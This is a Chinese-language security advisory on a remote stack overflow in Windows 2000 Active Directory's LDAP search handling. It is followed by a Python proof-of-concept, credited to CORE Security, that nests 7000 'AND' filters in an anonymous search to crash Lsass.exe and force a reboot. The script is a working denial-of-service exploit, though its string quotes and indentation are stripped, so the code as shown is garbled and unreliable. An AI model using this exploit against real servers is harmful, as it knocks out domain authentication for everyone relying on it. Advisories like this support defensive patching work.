活动目录远程堆栈溢出缺陷

涉及程序：Win2k Active Directory

描述：Microsoft Windows 活动目录远程堆栈溢出缺陷

详细：Windows Active Directory(活动目录)是Windows 2000结构的重要组件，是Microsoft提供的强大的目录服务系统。

Windows活动目录的LDAP 3搜索请求功能对用户提交请求缺少正确缓冲区边界检查，远程攻击者可利用此缺陷使Lsass.exe服务崩溃，触发缓冲区溢出。

通过活动目录提供的目录服务基于LDAP协议和并使用协议存储和获得Active目录对象。活动目录中使用LDAP 3的search request请求功能存在问题，攻击者如果构建超过1000个"AND"的请求，并发送给服务器，可导致触发堆栈溢出，使Lsass.exe服务崩溃，系统会在30秒内重新启动。

攻击方法：

CORE Security Technologies Advisories （advisories@coresecurity.com）提供了如下测试方法：

下面是一段Python测试脚本：

class ActiveDirectoryDOS( Ldap ):

def __init__(self):

self._s = None

self.host = 192.168.0.1

self.basedn = dc=bugweek,dc=corelabs,dc=core-sdi,dc=com

self.port = 389

self.buffer =

self.msg_id = 1

Ldap.__init__()

def generateFilter_BinaryOp( self, filter ):

filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()

filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )

return filterBuffer

def generateFilter_RecursiveBinaryOp( self, filter, numTimes):

simpleBinOp = self.generateFilter_BinaryOp( filter )

filterBuffer = simpleBinOp

for cnt in range( 0, numTimes ):

filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )

return filterBuffer

def searchSub( self, filterBuffer ):

self.bindRequest()

self.searchRequest( filterBuffer )

def run(self, host = , basedn = , name = ):

# the machine must not exist

machine_name = xaxax

filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,name,machine_name)

# execute the anonymous query

print executing query

filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )

self.searchSub( filterBuffer )